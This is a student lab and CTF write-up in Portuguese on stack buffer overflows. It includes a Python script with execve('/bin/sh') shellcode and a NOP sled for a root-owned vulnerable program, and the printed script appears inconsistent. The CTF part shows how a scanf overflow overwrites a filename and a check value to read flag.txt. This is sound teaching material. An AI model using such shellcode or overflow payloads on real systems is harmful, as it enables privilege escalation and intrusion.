---
# System prepended metadata

title: 'Trabalho realizado na Semana #5'

---

# Trabalho realizado na Semana #5

> # Ficha 

## Task 1: Getting Familiar with Shellcode

![](https://i.imgur.com/atJ8f2q.png)
![](https://i.imgur.com/0nHXLeH.png)

Verificamos que o programa criou uma nova shell, como era suposto, tanto para 32-bit e 64-bit. Consequentemente, significa que é possível colocar o código binário de um programa num buffer na stack e executá-lo

## Task 2: Understanding the Vulnerable Program

![](https://i.imgur.com/kS8DJTn.png)

Quando um programa é compilado as configurações relacionadas com a proteção de stack são desativadas, pelo que o programa ganha permissões root.
Consequentemente, o seguinte programa lê um número de bytes de um ficheiro e copia-os para um buffer de tamanho inferior, resultando na escrita dos restantes bytes fora do espaço alocado para o buffer. Tal acarreta a que possam ser alterados endereços de retorno, variaveis locais, etc ... O que constitui uma vunerabilidade.

## Task 3: Launching Attack on 32-bit Program (Level 1)

Primeiro correu-se o programa na debug version de forma a entender as posições de cada variável na stack. 


![](https://i.imgur.com/byGiBXg.png)
![](https://i.imgur.com/3tK0VYp.png)
![](https://i.imgur.com/7gQzpDh.png)
![](https://i.imgur.com/09m5wtD.png)

Desta maneira, foi possível descobrir o offset entre o endereço da posição inicial do buffer e o endereço do local onde é guardado o endereço de retorno.
De seguida, alterou-se as variáveis no script de python, resultando no código apresentado em baixo, sendo que este permitiu correr uma shell de owner root.
 

```#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80" 
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517)) 

##################################################################
# Put the shellcode somewhere in the payload
start = "\xff\xff\xca\xc8"	        # Change this number 
content[start:start + len(shellcode)] = shellcode

# Decide the return address value 
# and put it somewhere in the payload
#ret    = 0x00           # Change this number 
#offset = 0              # Change this number 

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little') 
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)

```
Ao correr o programa com o debugger, passam a existir variáveis adicionais na stack, pelo que o endereço obtido para o frame pointer será inferior a quando o programa é executado no terminal.
Consequentemente, a shell code é escrita mais longe, e o endereço de retorno é também maior, podendo correr o risco de se encontrar na zona dos NOPs. 


> # Desafio CTF da Semana 5


## Primeira Parte

Para a primeira parte do desafio, optamos por analisar o código de um dos ficheiros fornecidos, e perceber que a flag poderia ser obtida através de um buffer-overflow.
Nas respota às questões colocadas acerca desta CTF é possível perceber a lógica e raciocínio que tivemos para tal. 

Resposta às questões:
1. Existe algum ficheiro que é aberto e lido pelo programa?
Sim, o ficheiro *mem.txt.*

3. Existe alguma forma de controlar o ficheiro que é aberto?
Sim. 
A variável responsável por guardar o nome do ficheiro a abrir (meme_file) encontra-se definida imediatamente antes do buffer. Assim, se for possível gerar um buffer-overflow, poderemos dar overwrite à variável meme_file, e consequentemente, alterar o ficheiro aberto.

5. Existe algum buffer-overflow? Se sim, o que é que podes fazer?
O comando scanf está à espera de ler 28 chars do buffer, no entanto, este foi criado para ter uma capacidade máxima de 20 caracteres. Assim, se preenchermos o buffer até ao seu limite (20 char), os restantes irão dar overwrite à variável meme_file - tal como referido na pergunta 2.
Assim, ao escrevermos nos ultimos 8 caracteres o nome do ficheiro que contém a flag, iremos fazer com que o código abra esse ficheiro, dando-nos a conhecer a flag.

# Segunda Parte

Para a segunda do desafio foi utilizado o mesmo raciocínio que para a primeira parte, tendo em conta, porém, da nova variavel inserida.


Código da segunda parte:
```
#include <stdio.h>
#include <stdlib.h>

int main() {
    char meme_file[8] = "mem.txt\0";
    char val[4] = "\xef\xbe\xad\xde";
    char buffer[20];

    printf("Try to unlock the flag.\n");
    printf("Show me what you got:");
    fflush(stdout);
    scanf("%32s", &buffer);
    if(*(int*)val == 0xfefc2223) {
        printf("I like what you got!\n");

        FILE *fd = fopen(meme_file,"r");

        while(1){
            if(fd != NULL && fgets(buffer, 20, fd) != NULL) {
                printf("%s", buffer);
            } else {
                break;
            }
        }
    } else {
        printf("You gave me this %s and the value was %p. Disqualified!\n", meme_file, *(long*)val);
    }

    fflush(stdout);

    return 0;
```


1. Que alterações foram feitas?
Em relação ao código anterior existe uma nova variável (val) que é posteriormente usada numa comparação, de forma a mitigar um possivel buffer-overflow.
3. Mitigam na totalidade o problema?
Não.
5. É possivel ultrapassar a mitigação usando uma técnica similar à que foi utilizada anteriormente?
Tal como no código anterior, no novo código temos presente o uso do scanf para um número de caracteres superior ao limite do buffer. Logo, ao fazer o scanf ler 32 bytes - sendo os primeiros 20 aleatórios, seguidos do valor que validaria a comparação com a variável val(*), e os últimos "flag.txt" - podemos abrir o ficheiro "flag.txt", e consequenteme obter a flag da segunda parte.

(*) Nota:
Algo a ter em conta acerca do valor inserido para dar overwrite no "val", é que os inteiros são guardados em "little endian", pelo que a ordem como colocamos o valor para comparação no script teria de ser a inversa dp esperado (0xfefc2223)

